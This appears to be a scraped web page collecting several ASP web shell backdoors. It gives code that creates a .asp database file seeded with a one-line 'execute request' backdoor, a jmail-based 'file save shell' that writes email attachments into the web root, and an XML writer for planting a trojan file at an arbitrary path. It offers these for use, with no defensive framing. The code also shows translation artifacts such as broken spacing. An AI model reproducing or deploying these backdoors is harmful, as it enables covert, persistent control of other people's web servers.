Several alternative ASP Backdoors

Source: Internet
Author: User

<%
'Code by netpatch
Dim dbfile, SQL
DB = "netpatch. asp"
Dbfile = server. mappath (db)

Set ydb = server. Createobject ("ADOX. catalog ")
Ydb. Create "provider = Microsoft. Jet. oledb.4.0; Data Source =" & dbfile
Set ydb = nothing
If err. Number = 0 then
Response. Write dbfile & "created successfully <br>"
Else
Response. Write "creation failed, cause:" & err. Description
Response. End
End if

Set conn = server. Createobject ("ADODB. Connection ")
Conn. Open "provider = Microsoft. Jet. oledb.4.0; Data Source =" & dbfile

SQL = "CREATE TABLE fdata ([data] Memo )"
Conn.exe cute (SQL)

Set rs = Createobject ("ADODB. recordset ")
Rs. Open "fdata", Conn, 1, 3
Rs. addnew
RS ("data") = "Please adjust the number of rows before reading them>" '(remember to remove the comment! One-sentence backdoor execute request ("N "))
Rs. Update

%>

Use jmail to write files to the hard disk

<%
'Codz by kevin1986 [s4t]
User = request. Form ("user ")
Pass = request. Form ("pass ")
Popserver = request. Form ("popserver ")

If user <> "" And pass <> "" And popserver <> "" then
Set objmail = Createobject ("jmail. POP3 ")
Objmail. Connect user, pass, popserver

Set objmsg = Createobject ("jmail. Message ")
Set objmsg = objmail. Messages. Item (1)
Separator = ","
Response. Write "attachment name is:" & saveatta & "<br>"
Objmail. Disconnect
End if

Function saveatta ()
Set attachments = objmsg. attachments
Separator = ","
Response. write "the size of this attachment is:" & objmsg. Size & "<br>"
For I = 0 to attachments. Count-1
If I = attachments. Count-1 then
Separator = ""
End if

Set theatta = attachments (I)
Response. Write theatta. Name
Theatta. savetofile (server. mappath (".") & "\" & theatta. Name)
Response. Write "Oh! Hey guy... That's OK! "
Next
End Function
%>

<HTML>
<Head>
<Title> jmail save file shell </title>
</Head>
<Body>
<Center>
<Form method = "Post">
User: <input name = "user" type = text value = "kevin1986"> <br>
Pass: <input name = "pass" type = text value = "1986 lovinghuan"> <br>
POP3: <input name = "popserver" type = text value = "pop.163.com"> <br>
<Input type = submit value = "Get the attachments of the first mail">
</Form>
</Center>
</Body>
</Html>

Write horse using XML

<% on error resume next %>


Trojan content



path




<% response. write "absolute path of this file" %>
<% = server. mappath (request. servervariables ("script_name") %>


<%
dim xmlstring
dim xmldoc
xmlstring = request ("flashboy ")
set xmldoc = server. createobject ("msxml2.domdocument")
xmldoc. loadxml (xmlstring)
F = request ("textfield")
xmldoc. save (f)
set xmldoc = nothing
%>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.